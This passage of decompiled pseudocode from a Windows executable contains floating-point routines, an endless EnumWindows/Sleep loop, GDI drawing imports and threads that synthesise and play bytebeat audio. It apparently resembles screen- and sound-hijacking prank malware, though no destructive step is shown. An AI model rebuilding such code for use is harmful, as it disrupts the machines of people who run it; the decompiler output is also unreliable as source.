goto *esp5;
}
}
}

void fun_40cb90() {
uint32_t eax1;

eax1 = *reinterpret_cast<uint32_t*>(reinterpret_cast<int32_t>(__return_address()) - 4) ^ 63;

if (*reinterpret_cast<unsigned char*>(&eax1) & 0x81) {
if (eax1 & 0x204) {
if (eax1 & 0x102) {
if (eax1 & 0x408) {
if (eax1 & 0x810) {
if (eax1 & 0x1020)
goto 0x40cbe3;
goto *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(__return_address()) +
4);
} else {
goto *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(__return_address()) +
4);
}
} else {
goto *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(__return_address()) +
4);
}
}
} else {
goto *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(__return_address()) + 4);
}
}
goto *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(__return_address()) + 4);
}
struct s135 {
int32_t f0;
int32_t f4;
};

struct s136 {
signed char[1] pad1;
int32_t f1;
};

struct s137 {
int32_t f0;
int32_t f4;
};

struct s138 {
signed char[1] pad1;
int32_t f1;
};

struct s139 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
int32_t f8;
};

struct s140 {
int32_t f0;
int32_t f4;
};

struct s141 {
int32_t f0;
int32_t f4;
};

struct s142 {
int32_t f0;
int32_t f4;
};

struct s143 {
 int32_t f0;
int32_t f4;
};

struct s144 {
int32_t f0;
int32_t f4;
};

void fun_40cc24() {
struct s135* edi1;
struct s136* edi2;
struct s137* esi3;
struct s138* esi4;
struct s139* esp5;
uint32_t eax6;
int1_t zf7;
int32_t* esp8;
uint16_t ax9;
struct s140* edi10;
struct s141* esi11;
struct s142* edi12;
struct s143* esi13;
struct s144* esp14;

edi1 = reinterpret_cast<struct s135*>(&edi2->f1);

esi3 = reinterpret_cast<struct s137*>(&esi4->f1);
esp5 = reinterpret_cast<struct s139*>(reinterpret_cast<int32_t>(__return_address()) + 4);
eax6 = esp5->f4 & 0x7f80;
zf7 = eax6 == 0x1f80;
if (zf7) {
__asm__("fnstcw word [esp]");
*reinterpret_cast<uint16_t*>(&eax6) = reinterpret_cast<uint16_t>(esp5->f0 & 0x7f);
zf7 = *reinterpret_cast<uint16_t*>(&eax6) == 0x7f;
}
esp8 = &esp5->f8;
if (zf7) {
__asm__("pextrw eax, xmm0, 0x3");
ax9 =
reinterpret_cast<uint16_t>(reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(&eax6) &
0x7fff) - 0x3030);
if (ax9 > 0x10c5) {
if (reinterpret_cast<int16_t>(ax9) <= reinterpret_cast<int16_t>(0x10c5)) {
if (ax9 >> 4 != 0xcfd) {
 __asm__("movlpd xmm3, [0x413aa0]");
__asm__("mulsd xmm3, xmm0");
__asm__("subsd xmm3, xmm0");
__asm__("mulsd xmm3, [0x413aa8]");
goto *esp8;
} else {
__asm__("mulsd xmm0, [0x413ab0]");
goto *esp8;
}
}
} else {
__asm__("movlpd xmm1, [0x413a70]");
__asm__("mulsd xmm1, xmm0");
__asm__("movlpd xmm2, [0x413a78]");
__asm__("cvtsd2si edx, xmm1");
__asm__("addsd xmm1, xmm2");
__asm__("movlpd xmm3, [0x413a90]");
__asm__("subsd xmm1, xmm2");
__asm__("movapd xmm2, [0x413a80]");
__asm__("mulsd xmm3, xmm1");
__asm__("unpcklpd xmm1, xmm1");
edi1->f0 = esi3->f0;
edi10 = reinterpret_cast<struct s140*>(&edi1->f4);
esi11 = reinterpret_cast<struct s141*>(&esi3->f4);
__asm__("movapd xmm5, [0x413a60]");
__asm__("mulpd xmm2, xmm1");
__asm__("subsd xmm0, xmm3");
__asm__("mulsd xmm1, [0x413a98]");
__asm__("subsd xmm4, xmm3");
__asm__("movlpd xmm7, [eax+0x8]");
__asm__("unpcklpd xmm0, xmm0");
edi10->f0 = esi11->f0;
edi12 = reinterpret_cast<struct s142*>(&edi10->f4);
esi13 = reinterpret_cast<struct s143*>(&esi11->f4);
__asm__("subsd xmm4, xmm2");
__asm__("mulpd xmm5, xmm0");
__asm__("subpd xmm0, xmm2");
__asm__("movapd xmm6, [0x413a40]");
__asm__("mulsd xmm7, xmm4");
__asm__("subsd xmm3, xmm4");
__asm__("mulpd xmm5, xmm0");
__asm__("mulpd xmm0, xmm0");
__asm__("subsd xmm3, xmm2");
__asm__("movapd xmm2, [eax]");
 __asm__("subsd xmm1, xmm3");
__asm__("movlpd xmm3, [eax+0x18]");
__asm__("addsd xmm2, xmm3");
__asm__("subsd xmm7, xmm2");
__asm__("mulsd xmm2, xmm4");
__asm__("mulpd xmm6, xmm0");
__asm__("mulsd xmm3, xmm4");
__asm__("mulpd xmm2, xmm0");
__asm__("mulpd xmm0, xmm0");
__asm__("addpd xmm5, [0x413a50]");
__asm__("mulsd xmm4, [eax]");
__asm__("addpd xmm6, [0x413a30]");
__asm__("mulpd xmm5, xmm0");
edi12->f0 = esi13->f0;
__asm__("addsd xmm3, [eax+0x8]");
__asm__("mulsd xmm1, xmm7");
edi12->f4 = esi13->f4;
__asm__("addsd xmm4, xmm3");
__asm__("addpd xmm6, xmm5");
__asm__("movlpd xmm5, [eax+0x8]");
__asm__("subsd xmm5, xmm3");
__asm__("subsd xmm3, xmm4");
__asm__("addsd xmm1, [eax+0x10]");
__asm__("mulpd xmm6, xmm2");
__asm__("addsd xmm5, xmm0");
__asm__("addsd xmm3, xmm7");
__asm__("addsd xmm1, xmm5");
__asm__("addsd xmm1, xmm3");
__asm__("addsd xmm1, xmm6");
__asm__("unpckhpd xmm6, xmm6");
__asm__("addsd xmm1, xmm6");
__asm__("addsd xmm4, xmm1");
__asm__("movapd xmm0, xmm4");
goto *esp8;
}
}
__asm__("movq [esp], xmm0");
esp14 = reinterpret_cast<struct s144*>(esp8 - 2 - 1);
esp14->f0 = 0x40cdd9;
fun_40d10f(esp14->f4);
__asm__("fstp qword [esp]");
__asm__("movq xmm0, [esp]");
goto (&esp14->f4)[2];
}
struct s145 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
};

void fun_40d091() {
struct s145* esp1;
int1_t zf2;

esp1 = reinterpret_cast<struct s145*>(reinterpret_cast<int32_t>(__return_address()) + 4);

zf2 = (esp1->f4 & 0x7f80) == 0x1f80;
if (zf2) {
__asm__("fnstcw word [esp]");
zf2 = (esp1->f0 & 0x7f) == 0x7f;
}
if (!zf2)
goto fun_40d10f;
__asm__("movlpd xmm0, [esp+0x4]");
}

struct s146 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
};

struct s147 {
int32_t f0;
int32_t f4;
};

struct s148 {
int32_t f0;
int32_t f4;
};

struct s149 {
int32_t f0;
int32_t f4;
};

void fun_40d0cd() {
 struct s146* esp1;
int1_t zf2;
void* esp3;
int32_t* esp4;
struct s147* esp5;
struct s148* esp6;
int32_t ebp7;
struct s149* esp8;

esp1 = reinterpret_cast<struct s146*>(reinterpret_cast<int32_t>(__return_address()) + 4);

zf2 = (esp1->f4 & 0x7f80) == 0x1f80;
if (zf2) {
__asm__("fnstcw word [esp]");
zf2 = (esp1->f0 & 0x7f) == 0x7f;
}
esp3 = reinterpret_cast<void*>(&(esp1 + 1)->f0);
if (!zf2) {
__asm__("fst qword [esp]");
esp4 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp3) - 12 - 4);
*esp4 = 0x40d106;
fun_40b688();
esp5 = reinterpret_cast<struct s147*>(esp4 + 1 - 1);
esp5->f0 = 0x40d10b;
fun_40d118(esp5->f4);
goto (&esp5->f4)[3];
} else {
esp6 = reinterpret_cast<struct s148*>(reinterpret_cast<int32_t>(esp3) - 4);
esp6->f0 = ebp7;
__asm__("fstp qword [esp]");
__asm__("movq xmm0, [esp]");
esp8 = reinterpret_cast<struct s149*>((reinterpret_cast<uint32_t>(esp6 - 1) & 0xfffffff0) -
4);
esp8->f0 = 0x40d1c6;
fun_40d1ce(esp8->f4);
goto esp6->f4;
}
}

void fun_401010() {
GetSystemMetrics();
goto 1;
}

int32_t EnumWindows = 0x14fa2;

void fun_401590(int32_t a1);

void fun_4015f0() {
int32_t v1;
int32_t v2;
int32_t esi3;
int32_t esi4;
int32_t v5;
int32_t edi6;
int32_t edi7;

v1 = reinterpret_cast<int32_t>(__return_address());
v2 = esi3;
esi4 = Sleep;
v5 = edi6;
edi7 = EnumWindows;
while (1) {
edi7(fun_401590, 0, v5, v2, v1);
esi4(0x3e8, fun_401590, 0, v5, v2, v1);
}
}

int32_t waveOutOpen = 0x15190;

int32_t GetProcessHeap = 0x14f24;

int32_t g10b;

int32_t waveOutPrepareHeader = 0x15178;

int32_t waveOutWrite = 0x151c8;

int32_t waveOutUnprepareHeader = 0x151ae;

int32_t waveOutClose = 0x1519e;

struct s150 {
signed char[12] pad12;
int32_t fc;
};

int32_t ExitThread = 0x14f0a;

struct s151 {
signed char[12] pad12;
int32_t fc;
};

struct s152 {
signed char[12] pad12;
int32_t fc;
};

struct s153 {
signed char[12] pad12;
int32_t fc;
};

struct s154 {
signed char[12] pad12;
int32_t fc;
};

void** GetDC = reinterpret_cast<void**>(0xde);

void** g417284;

void** g417280;

int32_t StretchBlt = 0x15062;

int32_t ReleaseDC = 0x14f96;

int32_t CreateCompatibleDC = 0x15070;

int32_t CreateCompatibleBitmap = 0x150aa;

int32_t SelectObject = 0x1509a;

void** BitBlt = reinterpret_cast<void**>(0xc4);

int32_t AlphaBlend = 0x151e2;

int32_t DeleteDC = 0x15046;

int32_t DeleteObject = 0x1501a;

int32_t CreateSolidBrush = 0x15006;

int32_t CreateDIBSection = 0x15086;

int32_t CreateRectRgn = 0x15052;

int32_t CreateEllipticRgn = 0x14ff2;

int32_t SelectClipRgn = 0x1502a;

int32_t GetCursorInfo = 0x14fb0;

int32_t DrawIcon = 0x14fc0;

int32_t Rectangle = 0x1503a;

void fun_4016b0(struct s69* a1) {

struct s69* ebx2;
void* esp3;
int32_t eax4;
void* eax5;
void* esp6;
int32_t esi7;
uint32_t edx8;
void* edi9;
int32_t ecx10;
int32_t ebx11;
int32_t ecx12;
void* esp13;
void* esp14;
void* esp15;
void* v16;
int32_t v17;
struct s150* eax18;
struct s150* ebx19;
void* esp20;
void* esp21;
int32_t v22;
int32_t eax23;
void* eax24;
void* esp25;
int32_t esi26;
uint32_t ecx27;
void* edi28;
int32_t edx29;
int32_t edx30;
void* esp31;
void* esp32;
void* esp33;
void* v34;
int32_t v35;
struct s151* eax36;
struct s151* ebx37;
void* esp38;
void* esp39;
int32_t v40;
int32_t eax41;
void* eax42;
void* esp43;
int32_t esi44;
uint32_t ecx45;
void* edi46;
int32_t edx47;
int32_t eax48;
int32_t edx49;
void* esp50;
void* esp51;
void* esp52;
void* v53;
int32_t v54;
struct s152* eax55;
struct s152* ebx56;
void* esp57;
void* esp58;
int32_t v59;
int32_t eax60;
void* eax61;
void* esp62;
int32_t esi63;
uint32_t ecx64;
void* edi65;
int32_t edx66;
int32_t edx67;
void* esp68;
void* esp69;
void* esp70;
void* v71;
int32_t v72;
struct s153* eax73;
struct s153* ebx74;
void* esp75;
void* esp76;
int32_t v77;
int32_t eax78;
void* eax79;
void* esp80;
int32_t esi81;
uint32_t ecx82;
void* edi83;
int32_t edx84;
int32_t eax85;
int32_t edx86;
void* esp87;
void* esp88;
void* esp89;
void* v90;
int32_t v91;
struct s154* eax92;
struct s154* ebx93;
void* esp94;
void* esp95;
int32_t v96;
int32_t eax97;
void* eax98;
void* esp99;
int32_t esi100;
uint32_t ecx101;
void* edi102;
int32_t edx103;
int32_t eax104;
int32_t edx105;
void* esp106;
void* esp107;
void* esp108;
void* v109;
int32_t v110;
void** eax111;
void** esp112;
void** ebp113;
void** ebx114;
void* esp115;
void* esp116;
void** v117;
void** v118;
void** eax119;
void** v120;
void** eax121;
void* esp122;
void** esi123;
void** ecx124;
void** edx125;
void** edi126;
int32_t edx127;
int32_t eax128;
void* esp129;
void** v130;
void** v131;
void** v132;
void** v133;
void* esp134;
void** v135;
void* esp136;
void** v137;
void** v138;
void** v139;
void** eax140;
void** esp141;
void** v142;
void** ebp143;
void** v144;
void** v145;
void** v146;
void** ebx147;
void** v148;
void** v149;
void** v150;
void** v151;
void** v152;
void** v153;
void** v154;
void** v155;
int32_t v156;
int32_t v157;
int32_t v158;
int32_t v159;
int32_t v160;
int32_t v161;
int32_t v162;
int32_t v163;
void** eax164;
void** esi165;
void** edi166;
void** v167;
void** v168;
void** v169;
void** v170;
void** v171;
void** v172;
void** v173;
void** v174;
void** v175;
void** v176;
int32_t v177;
int32_t v178;
int32_t v179;
int32_t v180;
int32_t v181;
int32_t v182;
int32_t v183;
int32_t v184;
void** eax185;
void* esp186;
void** edx187;
uint1_t less188;
void** eax189;
void** v190;
void** v191;
void** v192;
void** v193;
void** v194;
void** v195;
void** v196;
void** v197;
int32_t v198;
int32_t v199;
int32_t v200;
int32_t v201;
int32_t v202;
int32_t v203;
int32_t v204;
int32_t v205;
uint32_t eax206;
void** edx207;
void** v208;
void** v209;
void** v210;
void** v211;
void** v212;
void** v213;
void** v214;
void** v215;
int32_t v216;
int32_t v217;
int32_t v218;
int32_t v219;
int32_t v220;
int32_t v221;
int32_t v222;
int32_t v223;
uint32_t eax224;
void** edx225;
void** v226;
void** v227;
void** v228;
void** v229;
void** eax230;
uint1_t cf231;
uint1_t cf232;
void** esp233;
void** v234;
void** ebp235;
void** v236;
void** v237;
void** v238;
void** ebx239;
void** v240;
void** v241;
void** v242;
void** v243;
void** v244;
int32_t v245;
int32_t v246;
int32_t v247;
int32_t v248;
void** eax249;
void** esi250;
void** edi251;
void** v252;
void** v253;
void** v254;
void** v255;
void** v256;
void** v257;
int32_t v258;
int32_t v259;
int32_t v260;
int32_t v261;
void** eax262;
void* esp263;
void** edx264;
uint1_t less265;
void** eax266;
void** eax267;
void** v268;
void** eax269;
void** v270;
void** v271;
void** v272;
void** v273;
void** v274;
uint32_t eax275;
void** v276;
uint32_t eax277;
void** v278;
void** v279;
void** v280;
uint32_t eax281;
void** v282;
uint32_t eax283;
void** edx284;
void** v285;
void** eax286;
void** v287;
void** v288;
void** v289;
void** v290;
void** v291;
void** v292;
void** v293;
void** v294;
void** v295;
void** eax296;
uint1_t cf297;
uint1_t cf298;
void** esp299;
void** v300;
void** ebp301;
void** v302;
void** v303;
void** v304;
void** ebx305;
void** v306;
void** eax307;
void** esi308;
void** edi309;
void** v310;
void** v311;
void** eax312;
void* esp313;
void** edx314;
uint1_t less315;
void** eax316;
void** eax317;
void** eax318;
void** v319;
void** v320;
void** v321;
void** v322;
void** v323;
void** v324;
void** v325;
void** eax326;
uint1_t cf327;
int1_t less_or_equal328;
uint1_t cf329;
void** esp330;
void** v331;
void** ebp332;
uint32_t eax333;
void** v334;
void** eax335;
void** v336;
void** eax337;
void** v338;
void** v339;
void** v340;
void** v341;
void** ebx342;
void** v343;
void** eax344;
void** esi345;
void** edi346;
void** v347;
void** v348;
void** eax349;
void* esp350;
void** edx351;
uint1_t less352;
void** eax353;
void** v354;
void** eax355;
void** eax356;
void** v357;
void** v358;
void** v359;
void* esp360;
void** eax361;
uint32_t edi362;
int32_t eax363;
void** v364;
void** v365;
void** v366;
void** v367;
void** eax368;
uint1_t cf369;
int1_t less_or_equal370;
uint1_t cf371;
void** esp372;
void** v373;
void** ebp374;
void** v375;
void** v376;
void** v377;
void** ebx378;
void** v379;
void** eax380;
void** esi381;
void** edi382;
void** v383;
void** v384;
void** eax385;
void* esp386;
void** edx387;
uint1_t less388;
uint32_t eax389;
uint32_t eax390;
void** edx391;
uint32_t eax392;
void* esp393;
void** eax394;
void** v395;
void** v396;
void*** esp397;
void** v398;
void** eax399;
void* esp400;
void** eax401;
int32_t eax402;
void** v403;
void** eax404;
void** v405;
void** v406;
void** v407;
int1_t less408;
void** eax409;
uint1_t cf410;
uint1_t cf411;
void** esp412;
void** v413;
void** ebp414;
uint32_t eax415;
void** v416;
void** v417;
void** ebx418;
void** v419;
void** v420;
void** eax421;
void** v422;
void** edi423;
void** v424;
void** esi425;
void** eax426;
void** v427;
void** v428;
void** eax429;
void* esp430;
void** edx431;
uint1_t less432;
void** eax433;
void** v434;
void** v435;
void** eax436;
int1_t less437;
int1_t less438;
void** eax439;
uint1_t cf440;
int1_t less_or_equal441;
uint1_t cf442;
void** esp443;
void** v444;
void** ebp445;
void* esp446;
uint32_t eax447;
void** v448;
void** eax449;
void** v450;
void** eax451;
void** v452;
void** v453;
void** v454;
void** v455;
void** ebx456;
void** v457;
void** v458;
void** v459;
void** v460;
void** v461;
void** v462;
void** v463;
void** v464;
void** v465;
void** v466;
void** v467;
int32_t v468;
int32_t v469;
int32_t v470;
int32_t v471;
int32_t v472;
int32_t v473;
int32_t v474;
int32_t v475;
int32_t v476;
void** eax477;
void** esi478;
void** edi479;
void** v480;
void** v481;
void** v482;
void** v483;
void** v484;
void** v485;
void** v486;
void** v487;
void** v488;
int32_t v489;
int32_t v490;
int32_t v491;
int32_t v492;
int32_t v493;
int32_t v494;
int32_t v495;
void** eax496;
void* esp497;
void** edx498;
uint1_t less499;
void** eax500;
void** esi501;
void** eax502;
void* esp503;
void** v504;
void* esp505;
void** v506;
void** v507;
void** eax508;
void** v509;
void** v510;
void** v511;
void** v512;
void** v513;
void** v514;
void** v515;
void** v516;
void** v517;
void* esp518;
void** edi519;
void** edi520;
int32_t esi521;
void** esi522;
void** eax523;
void** v524;
void** v525;
void** v526;
void** v527;
void** edi528;
void** esi529;
void** v530;
void** v531;
void** v532;
void** v533;
void** v534;
void** v535;
void** v536;
void** v537;
void** v538;
int32_t v539;
int32_t v540;
int32_t v541;
int32_t v542;
int32_t v543;
void** eax544;
uint1_t cf545;
int1_t less_or_equal546;
uint1_t cf547;
void** esp548;
void** v549;
void** ebp550;
void* esp551;
uint32_t eax552;
void** v553;
void** v554;
void** v555;
void** v556;
void** ebx557;
void** v558;
void** v559;
void** v560;
void** v561;
void** v562;
void** v563;
void** v564;
void** v565;
int32_t v566;
int32_t v567;
int32_t v568;
int32_t v569;
int32_t v570;
int32_t v571;
int32_t v572;
void** eax573;
void** esi574;
void** edi575;
void** v576;
void** v577;
void** v578;
void** v579;
void** v580;
void** v581;
void** v582;
void** v583;
void** v584;
int32_t v585;
int32_t v586;
int32_t v587;
int32_t v588;
int32_t v589;
int32_t v590;
int32_t v591;
void** eax592;
void* esp593;
void** edx594;
uint1_t less595;
void** eax596;
void* esp597;
void** v598;
void** eax599;
void** eax600;
void** v601;
void** v602;
void** v603;
void** v604;
void** v605;
void** v606;
void** v607;
void** v608;
int32_t v609;
int32_t v610;
int32_t v611;
int32_t v612;
int32_t v613;
int32_t v614;
int32_t v615;
void** eax616;
uint1_t cf617;
uint1_t cf618;
void** esp619;
void** v620;
void** ebp621;
void** v622;
void** v623;
void** v624;
void** edi625;
void** v626;
void** v627;
void** v628;
void** v629;
void** v630;
void** v631;
void** v632;
void** v633;
int32_t v634;
int32_t v635;
int32_t v636;
int32_t v637;
int32_t v638;
int32_t v639;
int32_t v640;
void** eax641;
void** ebx642;
void** esi643;
void** v644;
void** v645;
void** v646;
void** v647;
void** v648;
void** v649;
void** v650;
void** v651;
void** v652;
int32_t v653;
int32_t v654;
int32_t v655;
int32_t v656;
int32_t v657;
int32_t v658;
int32_t v659;
void** eax660;
void* esp661;
void** edx662;
uint1_t less663;
int1_t less_or_equal664;
void** eax665;
void** esi666;
void** v667;
void** v668;
void** v669;
void** v670;
int1_t less671;
void** v672;
void** v673;
void** v674;
void** v675;
void** v676;
void** v677;
void** v678;
int32_t v679;
int32_t v680;
int32_t v681;
int32_t v682;
int32_t v683;
int32_t v684;
int32_t v685;
void** eax686;
uint1_t cf687;
int1_t less_or_equal688;
uint1_t cf689;
void* esp690;
uint32_t eax691;
void** v692;
void** eax693;
void** eax694;
void** v695;
void** v696;
void** v697;
void** ebx698;
void** edi699;
void** v700;
void** v701;
void** v702;
void** v703;
int32_t v704;
int32_t v705;
int32_t v706;
void** eax707;
void** v708;
void** v709;
void** v710;
void** v711;
int32_t v712;
int32_t v713;
void** eax714;
void* esp715;
void** edx716;
uint1_t less717;
void** eax718;
void** ebx719;
void** v720;
void** eax721;
void* esp722;
void** esi723;
void** v724;
void* esp725;
void** v726;
void** v727;
void** v728;
void** eax729;
void** v730;
void** v731;
void** v732;
 void** v733;
void** v734;
void** v735;
void** v736;
void* esp737;
void** eax738;
void** eax739;
void** esi740;
void** ebx741;
struct s3* eax742;
void** dl743;
void** eax744;
void** v745;
void** v746;
void** v747;
int32_t v748;
int32_t v749;
void** eax750;
uint1_t cf751;
int1_t less_or_equal752;
uint1_t cf753;

ebx2 = a1;
esp3 =
reinterpret_cast<void*>((reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(__zero_stack_offs
et()) - 4) & 0xfffffff8) - 68 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp3) + 40);
eax4 = reinterpret_cast<int32_t>(GetProcessHeap());
eax5 = reinterpret_cast<void*>(HeapAlloc(eax4));
esp6 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp3) - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 -
4 + 4);
esi7 = ebx2->fc;
edx8 = 0;
edi9 = eax5;
if (esi7 * 0x1f40) {
do {
ecx10 = (reinterpret_cast<int32_t>(edx8) >> 3) + 5;
ebx11 = reinterpret_cast<int32_t>(edx8) >> 4 >> *reinterpret_cast<signed
char*>(&ecx10);
ebx2 = reinterpret_cast<struct s69*>(0xff);
ecx12 = *reinterpret_cast<signed char*>(&ebx11) * *reinterpret_cast<signed
char*>(&edx8);
*reinterpret_cast<signed char*>(edx8 + reinterpret_cast<uint32_t>(edi9)) =
*reinterpret_cast<signed char*>(&ecx12);
 ++edx8;
esi7 = g10b;
} while (edx8 < esi7 * 0x1f40);
}
esp13 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp6) - 4);
waveOutPrepareHeader(0xff);
esp14 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp13) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(0);
esp15 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp14) - 4 - 4 - 4 + 4 - 4);
v16 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp15) + 28);
waveOutUnprepareHeader(reinterpret_cast<uint32_t>(esp13) + 28, v16, 32, 0);
waveOutClose(reinterpret_cast<uint32_t>(esp14) + 28, reinterpret_cast<uint32_t>(esp13) +
28, v16, 32, 0);
v17 = ebx2->fc * 0x3e8;
Sleep(v17, reinterpret_cast<uint32_t>(esp14) + 28, reinterpret_cast<uint32_t>(esp13) + 28,
v16, 32, 0);
eax18 = reinterpret_cast<struct s150*>(GetProcessHeap(0, edi9, v17,
reinterpret_cast<uint32_t>(esp14) + 28, reinterpret_cast<uint32_t>(esp13) + 28, v16, 32, 0));
HeapFree();
ExitThread(0);
ebx19 = eax18;
esp20 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp15) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp21 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp20) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp21) + 32, 0xff,
reinterpret_cast<uint32_t>(esp20) + 60, 0, 0, 0, edi9, esi7, ebx2, 0);
v22 = ebx19->fc * 0x1f40;
eax23 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax24 = reinterpret_cast<void*>(HeapAlloc(eax23, 0));
esp25 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp21) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi26 = ebx19->fc;
ecx27 = 0;
edi28 = eax24;
if (esi26 * 0x1f40) {
do {
edx29 = reinterpret_cast<int32_t>(ecx27) >> 7;
edx30 = reinterpret_cast<signed char>(reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(&edx29) | *reinterpret_cast<unsigned char*>(&ecx27))
| 5) * *reinterpret_cast<signed char*>(&ecx27);
*reinterpret_cast<signed char*>(ecx27 + reinterpret_cast<uint32_t>(edi28)) =
*reinterpret_cast<signed char*>(&edx30);
++ecx27;
esi26 = ebx19->fc;
 } while (ecx27 < esi26 * 0x1f40);
}
esp31 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp25) - 4);
waveOutPrepareHeader(v22, reinterpret_cast<uint32_t>(esp31) + 20);
esp32 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp31) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp32) + 20);
esp33 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp32) - 4 - 4 - 4 + 4 - 4);
v34 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp33) + 20);
waveOutUnprepareHeader(32, v34);
waveOutClose(32, 32, v34);
v35 = ebx19->fc * 0x3e8;
Sleep(v35, 32, 32, v34);
eax36 = reinterpret_cast<struct s151*>(GetProcessHeap(0, edi28, v35, 32, 32, v34));
HeapFree();
ExitThread(0);
ebx37 = eax36;
esp38 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp33) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp39 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp38) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp39) + 32, 0xff,
reinterpret_cast<uint32_t>(esp38) + 60, 0, 0, 0, edi28, esi26, ebx19, 0);
v40 = ebx37->fc * 0x1f40;
eax41 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax42 = reinterpret_cast<void*>(HeapAlloc(eax41, 0));
esp43 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp39) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi44 = ebx37->fc;
ecx45 = 0;
edi46 = eax42;
if (esi44 * 0x1f40) {
do {
edx47 = reinterpret_cast<int32_t>(ecx45) >> 7;
eax48 = reinterpret_cast<int32_t>(ecx45) >> 6;
edx49 = reinterpret_cast<signed char>(*reinterpret_cast<unsigned char*>(&edx47) |
*reinterpret_cast<unsigned char*>(&eax48)) * *reinterpret_cast<signed char*>(&ecx45);
*reinterpret_cast<signed char*>(ecx45 + reinterpret_cast<uint32_t>(edi46)) =
*reinterpret_cast<signed char*>(&edx49);
++ecx45;
esi44 = ebx37->fc;
} while (ecx45 < esi44 * 0x1f40);
}
esp50 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp43) - 4);
waveOutPrepareHeader(v40, reinterpret_cast<uint32_t>(esp50) + 20);
esp51 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp50) - 4 - 4 - 4 + 4 - 4);
 waveOutWrite(32, reinterpret_cast<uint32_t>(esp51) + 20);
esp52 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp51) - 4 - 4 - 4 + 4 - 4);
v53 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp52) + 20);
waveOutUnprepareHeader(32, v53);
waveOutClose(32, 32, v53);
v54 = ebx37->fc * 0x3e8;
Sleep(v54, 32, 32, v53);
eax55 = reinterpret_cast<struct s152*>(GetProcessHeap(0, edi46, v54, 32, 32, v53));
HeapFree();
ExitThread(0);
ebx56 = eax55;
esp57 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp52) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp58 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp57) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp58) + 32, 0xff,
reinterpret_cast<uint32_t>(esp57) + 60, 0, 0, 0, edi46, esi44, ebx37, 0);
v59 = ebx56->fc * 0x1f40;
eax60 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax61 = reinterpret_cast<void*>(HeapAlloc(eax60, 0));
esp62 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp58) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi63 = ebx56->fc;
ecx64 = 0;
edi65 = eax61;
if (esi63 * 0x1f40) {
do {
edx66 = reinterpret_cast<int32_t>(ecx64) >> 8;
edx67 = reinterpret_cast<signed char>(*reinterpret_cast<unsigned char*>(&edx66) |
*reinterpret_cast<unsigned char*>(&ecx64)) * *reinterpret_cast<signed char*>(&ecx64);
*reinterpret_cast<signed char*>(ecx64 + reinterpret_cast<uint32_t>(edi65)) =
*reinterpret_cast<signed char*>(&edx67);
++ecx64;
esi63 = ebx56->fc;
} while (ecx64 < esi63 * 0x1f40);
}
esp68 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp62) - 4);
waveOutPrepareHeader(v59, reinterpret_cast<uint32_t>(esp68) + 20);
esp69 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp68) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp69) + 20);
esp70 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp69) - 4 - 4 - 4 + 4 - 4);
